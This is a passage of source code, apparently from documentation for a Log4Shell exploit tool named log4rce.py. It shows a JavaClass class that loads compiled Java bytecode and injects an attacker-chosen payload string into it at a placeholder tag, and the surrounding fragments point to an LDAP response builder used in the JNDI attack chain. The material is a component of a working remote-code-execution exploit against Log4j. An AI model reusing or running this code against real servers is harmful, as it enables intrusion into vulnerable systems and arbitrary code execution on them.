Class JavaClass

log4rce.py:65–109

Wrapper for Java class bytecode.

        return f"Serializer{self.__payload}"

class JavaClass():
    """
    Wrapper for Java class bytecode.
    """

    __raw: bytes

    def __init__(self, raw: bytes):
        self.__raw = raw

    @classmethod
    def load(cls, path: str) -> "JavaClass":
        with open(path, "rb") as h:
            raw = h.read()

        if not raw.startswith(b"\xca\xfe\xba\xbe"):
            raise Exception(f"Trying to load non-compiled Java class `{path}`.")

        return JavaClass(raw)

    @classmethod
    def str_size(cls, data: str) -> bytes:
        return b"\x01" + struct.pack("!H", len(data))

    @property
    def raw(self) -> bytes:
        return self.__raw

    @property
    def name(self) -> str:
        return re.findall(b"([a-zA-Z0-9]*)\.java", self.__raw)[0].decode()

    def inject(self, payload: Union[str, bytes]):
        if isinstance(payload, str):
            payload = payload.encode()

        if not INJECTION_TAG.encode() in self.__raw:
            raise Exception(f"No `{INJECTION_TAG}` tag to inject payload into.")

        index = self.__raw.index(INJECTION_TAG.encode())

        self.__raw = self.__raw[:index-3] + self.str_size(payload) + payload + self.__raw[index+3:]

    def __repr__(self) -> str:
        return f"JavaClass({self.__raw})"

class LDAPResponse():
    """